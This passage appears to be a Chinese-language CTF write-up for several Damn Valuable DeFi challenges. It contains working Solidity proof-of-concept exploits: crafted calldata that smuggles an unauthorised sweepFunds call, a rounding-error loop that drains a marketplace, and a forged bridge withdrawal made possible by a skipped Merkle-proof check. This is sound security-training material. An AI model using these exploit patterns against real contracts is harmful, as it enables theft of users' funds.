bytes memory dataOffset = abi.encodePacked(uint256(0x80)); // Offset for the start of the action data
// Construct the empty data filler (32 bytes of zeros)
bytes memory emptyData = abi.encodePacked(uint256(0));
// Manually define the `withdraw()` function selector as `d9caed12` followed by zeros
bytes memory withdrawSelectorPadded = abi.encodePacked(
bytes4(0xd9caed12), // Withdraw function selector
bytes28(0) // 28 zero bytes to fill the 32-byte slot
);
// Construct the calldata for the `sweepFunds()` function
bytes memory sweepFundsCalldata = abi.encodeWithSelector(
vault.sweepFunds.selector,
recovery,
token
);
// Manually set actionDataLength to 0x44 (68 bytes)
uint256 actionDataLengthValue = sweepFundsCalldata.length;
emit LogActionDataLength(actionDataLengthValue);
bytes memory actionDataLength = abi.encodePacked(uint256(actionDataLengthValue));
// Combine all parts to create the complete calldata payload
bytes memory calldataPayload = abi.encodePacked(
executeSelector, // 4 bytes
target, // 32 bytes
dataOffset, // 32 bytes
emptyData, // 32 bytes
withdrawSelectorPadded, // 32 bytes (starts at the 100th byte)
actionDataLength, // Length of actionData
sweepFundsCalldata // The actual calldata to `sweepFunds()`
);
// Emit the calldata payload for debugging
emit LogCalldataPayload(calldataPayload);
// Return the constructed calldata payload
return calldataPayload;
}
}
REF
ABI encoding of dynamic types (bytes, strings)
In the ABI Standard, dynamic types are encoded the following way:
The offset of the dynamic data
The length of the dynamic data
The actual value of the dynamic data.
Memory loc Data
0x00 0000000000000000000000000000000000000000000000000000000000000020 // The offset of the data (32 in decimal)
0x20 000000000000000000000000000000000000000000000000000000000000000d // The length of the data in bytes (13 in decimal)
0x40 48656c6c6f2c20776f726c642100000000000000000000000000000000000000 // actual value
If you hex decode 48656c6c6f2c20776f726c6421 you will get "Hello, world!".
題目: Shards NFT 市場是一個無需許可的智能合約,允許 Damn Valuable NFT 的持有者以任何價格(以 USDC 表示)出售這些 NFT。這些 NFT 可能非常有價值,以至於賣家可以將它們拆分成較小的份額(稱為 “shards”)。買家可以購買這些 shards,這些份額以 ERC1155 代幣形式表示。只有當整個 NFT 售出後,市場才會向賣家付款。市場向賣家收取 1% 的手續費,並以 Damn Valuable Tokens (DVT) 支付。這些 DVT 可以存放在安全的鏈上金庫中,而該金庫與 DVT 的質押系統整合。有人正在出售一個 NFT,價格高達……哇,一百萬 USDC?在那些瘋狂的玩家發現之前,你最好先深入研究這個市場。你一開始沒有任何 DVT,請儘量在一次交易中救回資金,並將資產存入指定的回收帳戶。
過關條件:
知識點:
解題:
function fill(uint64 offerId, uint256 want) external returns (uint256 purchaseIndex) {
paymentToken.transferFrom(
msg.sender, address(this), want.mulDivDown(_toDVT(offer.price, _currentRate), offer.totalShards)
);
if (offer.stock == 0) _closeOffer(offerId);
}
function _toDVT(uint256 _value, uint256 _rate) private pure returns (uint256) {
return _value.mulDivDown(_rate, 1e6);
}
POC :
function test_shards() public checkSolvedByPlayer {
Exploit exploit = new Exploit(marketplace,token,recovery);
exploit.attack(1);
console.log("recovery balance",token.balanceOf(address(recovery)));
}
contract Exploit {
ShardsNFTMarketplace public marketplace;
DamnValuableToken public token;
address recovery;
constructor(ShardsNFTMarketplace _marketplace, DamnValuableToken _token, address _recovery) {
marketplace = _marketplace;
token = _token;
recovery = _recovery;
}
function attack(uint64 offerId) external {
uint256 wantShards = 100; // Fill 100 shards per call
// Loop 10 times to execute fill(1, 100)
for (uint256 i = 0; i < 10001; i++) {
marketplace.fill(offerId, wantShards);
marketplace.cancel(1,i);
}
token.transfer(recovery,token.balanceOf(address(this)));
}
}
題目: 這裡有一個借貸合約,任何人都可以從 Curve 的 stETH/ETH 池中借出 LP 代幣。為了這麼做,借款人必須首先存入足夠的 Damn Valuable 代幣 (DVT) 作為抵押。如果借款頭寸的價值超過了抵押品的價值,任何人都可以透過償還債務並奪取所有抵押品來清算它。該借貸合約整合了 Permit2 來安全管理代幣授權。它還使用了一個受限的價格預言機來獲取 ETH 和 DVT 的當前價格。Alice、Bob 和 Charlie 都在借貸合約中開立了頭寸。為了格外安全,他們決定將頭寸大幅過度抵押。但他們真的安全嗎?這不是開發者收到的緊急漏洞報告中所聲稱的。在使用者資金被奪走之前,關閉所有頭寸並取回所有可用的抵押品。
開發者已經提供了部分庫存資金以備你在操作中需要使用:200 WETH 和略超過 6 個 LP 代幣。不用擔心利潤,但不要耗盡他們的資金。另外,請確保將任何救回的資產轉移到庫存賬戶。
注意:此挑戰需要一個有效的 RPC URL,以將主網狀態分叉到你的本地環境。
過關條件:
知識點:
解題:
題目:
有一個代幣橋用來將 Damn Valuable Tokens (DVT) 從 L2 提領到 L1,該橋上有一百萬 DVT 代幣的餘額。L1 端的代幣橋允許任何人在延遲期過後,並且提供有效的默克爾證明時,完成提領。該證明必須與代幣橋所有者設定的最新提領根對應。你收到了一個包含 4 筆在 L2 發起的提領的事件日誌的 JSON 檔案。這些提領可以在 7 天延遲期過後執行。但其中有一筆可疑的提領,不是嗎?你可能需要仔細檢查,因為所有資金可能都處於風險之中。幸運的是,你是一名具有特殊權限的橋樑操作員。透過完成所有給定的提領,防止可疑的那一筆執行,並且確保不會耗盡所有資金來保護這座橋樑。
過關條件:
知識點:
解題:
eaebef7f15fdaa66ecd4533eefea23a183ced29967ea67bc4219b0f1f8b0d3ba // id
0000000000000000000000000000000000000000000000000000000066729b63 // timestamp
0000000000000000000000000000000000000000000000000000000000000060 // data.offset
0000000000000000000000000000000000000000000000000000000000000104 // data.length
01210a38 // L1Forwarder.forwardMessage.selector
0000000000000000000000000000000000000000000000000000000000000000 // L2Handler.nonce
000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac6 // l2Sender
0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd50 // target (l1TokenBridge)
0000000000000000000000000000000000000000000000000000000000000080 // message.offset
0000000000000000000000000000000000000000000000000000000000000044 // message.length
81191e51 // TokenBridge.executeTokenWithdrawal.selector
000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac6 // receiver
0000000000000000000000000000000000000000000000008ac7230489e80000 // amount (10e18)
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000
L1Gateway.finalizeWithdrawal 如果是 Operator 不檢查 MerkleProof. 而且 player 有 Operator role. 這邊就可以偽造請求. 來把 token bridge的代幣提走, 我們可以先搶救 900000.
過關條件還要把withdrawals.json裡面的4筆交易狀態需要是finalized, 所以要把這4筆透過 L1Gateway.finalizeWithdrawal 發送一次. 因為我們先搶救了 900000 儘管4筆請求的第3筆轉移資產 999000 會造成轉帳失敗, 但是這個沒有在狀態檢查內, 導致整的交易不會被revert.
最後再把救援的token,還給tokenBridge.
POC :
function test_withdrawal() public checkSolvedByPlayer {
// fake withdrawal operation and obtain tokens
bytes memory message = abi.encodeCall(
L1Forwarder.forwardMessage,
(
0, // nonce
address(0), //
address(l1TokenBridge), // target
abi.encodeCall( // message
TokenBridge.executeTokenWithdrawal,
(
player, // deployer receiver
900_000e18 //rescue 900_000e18
)
)
)
);
l1Gateway.finalizeWithdrawal(
0, // nonce
l2Handler, // pretend l2Handler
address(l1Forwarder), // target is l1Forwarder
block.timestamp - 7 days, // to pass 7 days waiting peroid
message,
new bytes32[](0)
);
// Perform finalizedWithdrawals due to we are operator, don't need to provide merkleproof.
vm.warp(1718786915 + 8 days);
// first finalizeWithdrawal
l1Gateway.finalizeWithdrawal(
0, // nonce 0
0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, // l2Sender
0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, // target
1718786915, // timestamp
hex"01210a380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000328809bc894f92807417d2dad6b7c998c1afdac60000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", // message
new bytes32[](0) // Merkle proof
);
// second finalizeWithdrawal
l1Gateway.finalizeWithdrawal(
1, // nonce 1
0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, // l2Sender
0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, // target
1718786965, // timestamp
hex"01210a3800000000000000000000000000000000000000000000000000000000000000010000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e510000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", // message
new bytes32[](0) // Merkle proof
);
// third finalizeWithdrawal
l1Gateway.finalizeWithdrawal(
2, // nonce 2
0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, // l2Sender
0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, // target
1718787050, // timestamp
hex"01210a380000000000000000000000000000000000000000000000000000000000000002000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e00000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000ea475d60c118d7058bef4bdd9c32ba51139a74e000000000000000000000000000000000000000000000d38be6051f27c260000000000000000000000000000000000000000000000000000000000000", // message
new bytes32[](0) // Merkle proof
);
// fourth finalizeWithdrawal
l1Gateway.finalizeWithdrawal(
3, // nonce 3
0x87EAD3e78Ef9E26de92083b75a3b037aC2883E16, // l2Sender
0xfF2Bd636B9Fc89645C2D336aeaDE2E4AbaFe1eA5, // target
1718787127, // timestamp
hex"01210a380000000000000000000000000000000000000000000000000000000000000003000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000009c52b2c4a89e2be37972d18da937cbad8aa8bd500000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000004481191e51000000000000000000000000671d2ba5bf3c160a568aae17de26b51390d6bd5b0000000000000000000000000000000000000000000000008ac7230489e8000000000000000000000000000000000000000000000000000000000000", // message
new bytes32[](0) // Merkle proof
);
token.transfer(address(l1TokenBridge),900_000e18);
console.log("token.balanceOf(address(l1TokenBridge)",token.balanceOf(address(l1TokenBridge)));
}